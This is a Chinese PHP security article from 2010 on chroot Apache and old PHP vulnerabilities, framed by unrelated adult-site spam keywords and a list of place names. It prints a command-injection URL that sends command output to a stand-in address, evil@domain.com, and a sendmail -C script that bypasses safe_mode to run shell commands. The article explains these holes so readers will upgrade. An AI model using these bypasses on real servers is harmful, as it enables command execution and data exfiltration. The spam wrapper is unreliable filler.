成人午夜激情影院,小视频免费在线观看,国产精品夜夜嗨,欧美日韩精品一区二区在线播放

PHP安全配置之實現安全的兩個重點

2010-08-28 10:48:35來源:西部e網作者:

    一、Web服務器安全

  PHP其實不過是Web服務器的一個模塊功能,所以首先要保證Web服務器的安全。當然Web服務器要安全又必須是先保證系統安全,這樣就扯遠了,無窮無盡。PHP可以和各種Web服務器結合,這里也只討論Apache。非常建議以chroot方式安裝啟動Apache,這樣即使Apache和PHP及其腳本出現漏洞,受影響的也只有這個禁錮的系統,不會危害實際系統。但是使用chroot的Apache后,給應用也會帶來一定的麻煩,比如連接mysql時必須用127.0.0.1地址使用tcp連接而不能用localhost實現socket連接,這在效率上會稍微差一點。還有mail函數發送郵件也是個問題,因為php.ini里的:

[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com

  都是針對Win32平臺,所以需要在chroot環境下調整好sendmail。

  二、PHP本身問題

  1、遠程溢出

  PHP-4.1.2以下的所有版本都存在文件上傳遠程緩沖區溢出漏洞,而且攻擊程序已經廣泛流傳,成功率非常高.

  2、遠程拒絕服務

  PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST請求處理遠程漏洞,雖然不能獲得本地用戶權限,但是也能造成拒絕服務。

  3、safe_mode繞過漏洞

  還有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函數繞過safe_mode限制執行命令漏洞,4.0.5版本開始mail函數增加了第五個參數,由于設計者考慮不周可以突破safe_mode的限制執行命令。其中4.0.5版本突破非常簡單,只需用分號隔開后面加shell命令就可以了,比如存在PHP腳本evil.php:

  執行如下的URL:

http://foo.com/evil.php?bar=;/usr/bin/id mail evil@domain.com

  這將id執行的結果發送給evil@domain.com。

  對于4.0.6至4.2.2的PHP突破safe_mode限制其實是利用了sendmail的-C參數,所以系統必須是使用sendmail。如下的代碼能夠突破safe_mode限制執行命令:

  #注意,下面這兩個必須是不存在的,或者它們的屬主和本腳本的屬主是一樣:

$script=/tmp/script123;
$cf=/tmp/cf123;
$fd = fopen($cf, w);
fwrite($fd, OQ/tmp
Sparse=0
R$* . chr(9) . $#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script);
fclose($fd);
$fd = fopen($script, w);
fwrite($fd, rm -f $script $cf; );
fwrite($fd, $cmd);
fclose($fd);
mail(nobody, , , , -C$cf);
?>

  還是使用以上有問題版本PHP的用戶一定要及時升級到最新版本,這樣才能消除基本的安全問題。
關鍵詞:PHP

贊助商鏈接:

主站蜘蛛池模板: 灵宝市| 蓝山县| 固镇县| 紫阳县| 红原县| 濮阳市| 宣城市| 武胜县| 渝北区| 屯留县| 泗洪县| 新民市| 巩留县| 广州市| 灵寿县| 南昌市| 甘肃省| 奉新县| 神池县| 施秉县| 石柱| 金门县| 宁河县| 金平| 同德县| 沅陵县| 于田县| 大荔县| 汝阳县| 河间市| 汕尾市| 柳江县| 涡阳县| 囊谦县| 黑龙江省| 岳西县| 郴州市| 称多县| 咸宁市| 江津市| 济南市|